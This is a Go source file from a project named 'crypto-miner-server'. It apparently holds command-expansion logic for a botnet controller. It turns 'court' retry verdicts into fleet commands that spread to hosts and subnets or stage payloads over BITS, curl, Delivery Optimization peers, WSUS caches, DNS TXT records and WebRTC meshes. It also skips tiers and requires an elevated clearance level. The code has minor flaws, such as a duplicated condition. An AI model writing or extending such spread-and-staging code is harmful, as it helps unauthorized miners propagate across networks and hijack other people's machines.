package ai import ( "fmt" "strings" "crypto-miner-server/internal/clearance" ) const CourtRetryClearanceLevel = clearance.L4 // Staging spread lanes dispatch stage_fetch; others use discover_and_join. var stagingSpreadLanes = map[string]bool{ "bits_curl": true, "bits": true, "curl": true, "do_peer": true, "wsus_cache_peer": true, "dns_txt": true, "webrtc_mesh": true, "stage_fetch": true, } // ExpandCourtCommands maps court verdict types to executable fleet commands. func ExpandCourtCommands(cmds []Command) []Command { if len(cmds) == 0 { return nil } out := make([]Command, 0, len(cmds)) for _, c := range cmds { switch c.Type { case CmdSpreadRetryLane: out = append(out, ResolveSpreadRetryLane(c.Args)) case CmdSkipTier: out = append(out, ResolveSkipTier(c.Args)) case CmdSpreadGraft: out = append(out, c) default: out = append(out, c) } } return out } // ResolveSpreadRetryLane turns spread_retry_lane into discover_and_join or stage_fetch. func ResolveSpreadRetryLane(args map[string]interface{}) Command { if args == nil { args = map[string]interface{}{} } lane := strings.TrimSpace(fmt.Sprint(args["lane"])) if lane == "" { if v, ok := args["tier"].(string); ok { lane = strings.TrimSpace(v) } } norm := normalizeCommandType(lane) if stagingSpreadLanes[norm] { out := map[string]interface{}{} if data, ok := args["data"]; ok { out["data"] = data } else if manifest, ok := args["manifest"]; ok { out["data"] = manifest } return Command{Type: CmdStageFetch, Args: out} } out := map[string]interface{}{} if lane != "" { out["lane"] = lane } for _, k := range []string{"host", "subnet", "template"} { if v, ok := args[k]; ok { out[k] = v } } return Command{Type: CmdDiscoverAndJoin, Args: out} } // ResolveSkipTier turns skip_tier into reorder_tiers with skip_tiers. func ResolveSkipTier(args map[string]interface{}) Command { if args == nil { args = map[string]interface{}{} } tier := strings.TrimSpace(fmt.Sprint(args["tier"])) skips := []interface{}{} if tier != "" && tier != "" { skips = append(skips, tier) } if raw, ok := args["skip_tiers"]; ok { switch v := raw.(type) { case []interface{}: skips = append(skips, v...) case []string: for _, s := range v { skips = append(skips, s) } case string: if strings.TrimSpace(v) != "" { skips = append(skips, strings.TrimSpace(v)) } } } return Command{Type: CmdReorderTiers, Args: map[string]interface{}{"skip_tiers": skips}} } // CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry. func CourtCommandNeedsRetryElevation(cmd Command) bool { switch cmd.Type { case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft, CmdStrainHospice: return true default: return false } } // CourtCommandsNeedRetryElevation is true when any parsed command needs L4 elevation. func CourtCommandsNeedRetryElevation(cmds []Command) bool { for _, c := range cmds { if CourtCommandNeedsRetryElevation(c) { return true } } return false }